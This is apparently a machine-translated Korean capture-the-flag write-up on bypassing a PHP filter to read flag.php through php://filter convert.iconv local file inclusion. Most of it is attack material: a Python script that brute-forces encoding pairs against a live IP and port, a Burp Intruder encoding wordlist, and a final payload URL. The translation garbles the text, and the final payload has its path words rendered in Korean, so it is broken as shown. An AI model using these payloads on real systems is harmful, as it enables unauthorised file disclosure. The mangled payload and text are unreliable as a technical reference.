내 연락처 정보
우편메소피아@프로톤메일.com
2024-07-12
한어Русский языкEnglishFrançaisIndonesianSanskrit日本語DeutschPortuguêsΕλληνικάespañolItalianoSuomalainenLatina
변환 필터 공식 문서: https://www.php.net/manual/zh/filters.convert.php#filters.convert.iconv
이 질문은 Convert.base64-encode로 인해 필터링되었으므로 Convert.iconv.* 필터가 사용되었습니다.
활성화 아이콘브 전제하에 Convert.iconv.* 압축 필터를 사용할 수 있습니다. 이는 다음을 사용하는 것과 동일합니다.아이콘v() 모든 스트리밍 데이터를 처리합니다. 이 필터는 매개변수를 지원하지 않지만 입출력 인코딩 이름을 사용하여 Convert.iconv와 같은 필터 이름을 구성할 수 있습니다.<input-encoding> .<output-encoding> 또는 Convert.iconv.<input-encoding> /<output-encoding> (두 작성 방법의 의미는 동일합니다.)
스크립트를 직접 사용하여 적절한 인코딩을 실행하세요.
- import requests
-
- in_encodings = ['UCS-4*', 'UCS-4BE', 'UCS-4LE*', 'UCS-2', 'UCS-2BE', 'UCS-2LE', 'UTF-32*', 'UTF-32BE*', 'UTF-32LE*', 'UTF-16*', 'UTF-16BE*', 'UTF-16LE*', 'UTF-7', 'UTF7-IMAP', 'UTF-8*', 'ASCII*', 'EUC-JP*', 'SJIS*', 'eucJP-win*', 'SJIS-win*', 'ISO-2022-JP', 'ISO-2022-JP-MS', 'CP932', 'CP51932', 'SJIS-mac', 'SJIS-Mobile#DOCOMO', 'SJIS-Mobile#KDDI', 'SJIS-Mobile#SOFTBANK', 'UTF-8-Mobile#DOCOMO', 'UTF-8-Mobile#KDDI-A', 'UTF-8-Mobile#KDDI-B', 'UTF-8-Mobile#SOFTBANK', 'ISO-2022-JP-MOBILE#KDDI', 'JIS', 'JIS-ms', 'CP50220', 'CP50220raw', 'CP50221', 'CP50222', 'ISO-8859-1*', 'ISO-8859-2*', 'ISO-8859-3*', 'ISO-8859-4*', 'ISO-8859-5*', 'ISO-8859-6*', 'ISO-8859-7*', 'ISO-8859-8*', 'ISO-8859-9*', 'ISO-8859-10*', 'ISO-8859-13*', 'ISO-8859-14*', 'ISO-8859-15*', 'ISO-8859-16*', 'byte2be', 'byte2le', 'byte4be', 'byte4le', 'BASE64', 'HTML-ENTITIES', '7bit', '8bit', 'EUC-CN*', 'CP936', 'GB18030', 'HZ', 'EUC-TW*', 'CP950', 'BIG-5*', "CP{949}", "CP{775}"]
-
- out_codings = in_encodings[:]
- for inenc in in_encodings:
- for outenc in out_codings:
- url = 'http://61.147.171.105:62135/?filename=php://filter/convert.iconv.{}.{}/resource=flag.php'.format(inenc,outenc)
- res = requests.get(url)
- if "flag" in res.text:
- print("inenc is:{},outenc is:{}".format(inenc,outenc))
- print(res.text)
트림 발파에 이 사전을 사용하세요
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
- ASCII*
- EUC-JP*
- SJIS*
- eucJP-win*
- SJIS-win*
- ISO-2022-JP
- ISO-2022-JP-MS
- CP932
- CP51932
- SJIS-mac
- SJIS-Mobile#DOCOMO
- SJIS-Mobile#KDDI
- SJIS-Mobile#SOFTBANK
- UTF-8-Mobile#DOCOMO
- UTF-8-Mobile#KDDI-A
- UTF-8-Mobile#KDDI-B
- UTF-8-Mobile#SOFTBANK
- ISO-2022-JP-MOBILE#KDDI
- JIS
- JIS-ms
- CP50220
- CP50220raw
- CP50221
- CP50222
- ISO-8859-1*
- ISO-8859-2*
- ISO-8859-3*
- ISO-8859-4*
- ISO-8859-5*
- ISO-8859-6*
- ISO-8859-7*
- ISO-8859-8*
- ISO-8859-9*
- ISO-8859-10*
- ISO-8859-13*
- ISO-8859-14*
- ISO-8859-15*
- ISO-8859-16*
- byte2be
- byte2le
- byte4be
- byte4le
- BASE64
- HTML-ENTITIES
- 7bit
- 8bit
- EUC-CN*
- CP936
- GB18030
- HZ
- EUC-TW*
- CP950
- BIG-5*
- EUC-KR*
- UHC
- ISO-2022-KR
- Windows-1251
- Windows-1252
- CP866
- KOI8-R*
- KOI8-U*
- ArmSCII-8
클러스터 폭탄 모드를 선택하세요. 아직 폭발이 완료되지 않았으며 사용할 준비가 되었습니다.
dirsearch가 flag.php를 스캔했습니다. 플래그가 그 안에 있어야 합니다.
페이로드 구성:
http://61.147.171.105:62135?파일명=php://필터/변환.아이콘.UTF-8*.UTF-32*/리소스=플래그.php